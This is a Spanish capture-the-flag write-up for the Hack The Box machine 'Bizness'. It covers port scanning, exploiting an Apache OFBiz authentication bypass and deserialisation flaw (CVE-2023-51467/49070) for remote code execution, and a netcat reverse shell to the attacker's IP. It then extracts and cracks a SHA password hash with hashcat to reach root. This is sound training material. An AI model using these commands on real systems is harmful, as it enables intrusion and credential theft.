Bizness
OS: Linux
Dificultad: Fácil
Puntos: 20
Nmap Scan
ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.252 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.11.252
Nmap scan report for 10.10.11.252
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
| tls-alpn:
|_ http/1.1
|_http-title: Did not follow redirect to https://bizness.htb/
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
38517/tcp open tcpwrapped
40791/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeracion
Se identifica una cookie diferente.
Cookie: JSESSIONID=315F326290862288EFB090F4457B45A3.jvm1
Investigando esa cookie JSESSIONID jvm1 vulns
, la aplicacion esta utilizando Apache OfBiz
.
Si vamos a la ruta https://bizness.htb/webtools/control/main
encontramos lo siguiente.
Las credenciales no funcionan pero buscando vulnerabilidades de OfBiz podemos hacer bypass de la autenticacion y obtener rce por medio de deserializacion.
Apache OfBiz (CVE-2023-51467 / CVE-2023-49070)
Testing RCE.
Ponemos nuestro tcpdump para capturar el trafico.
tcpdump -i tun0 icmp
Ejecutamos el exploit.
python3 exploit.py --url https://bizness.htb --cmd 'ping -c 1 10.10.14.186'
Recibimos correctamente el ping.
Reverse shell
nc -lvnp 1234
python3 exploit.py --url https://bizness.htb --cmd 'nc 10.10.14.186 1234 -c bash'
Privilege Escalation
Buscando informacion en los archivos ofbiz vemos un password en /opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml
.
<entity-engine-xml>
<UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
<UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
</entity-engine-xml>
Investigando mas a fondo encontramos el password actual en los archivos de ejecucion.
grep -arin -o -E '(\w+\W+){0,5}SHA(\W+\w+){0,5}' /opt/ofbiz/runtime/data/
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c5c70.dat:133:sha
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c54d0.dat:21:03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c23f0.dat:33:sha
Hash convert
En esta porcion de codigo vemos que el hash esta en base64 y posteriormente los bytes los pasa a hex.
public static String digestHash(String hashType, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
char[] digestChars = Hex.encodeHex(digestBytes);
StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(digestChars, 0, digestChars.length);
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}
public static String digestHash64(String hashType, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}
Utilizamos cyberchef para hacer esa operacion y obtenemos lo siguiente.
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9-_',true,false)To_Hex('None',0)&input=dVAwX1FhVkJwRFdGZW84LWRSekRxUndYUTJJ
Crack Hash
Ahora que tenemos el hash es posible romper el password. Tenemos que poner de la siguiente forma el hash. Donde d
es el salt.
b8fd3f41a541a435857a8f3e751cc3a91c174362:d
hashcat -m 120 hash.txt /usr/share/wordlists/rockyou.txt
Obtenemos el password. Este lo podemos usar para autenticarnos como root.
root : monkeybizness
Resources
https://github.com/projectdiscovery/nuclei-templates/issues/8893
https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass
https://github.com/apache/ofbiz/blob/trunk/framework/base/src/main/java/org/apache/ofbiz/base/crypto/HashCrypt.java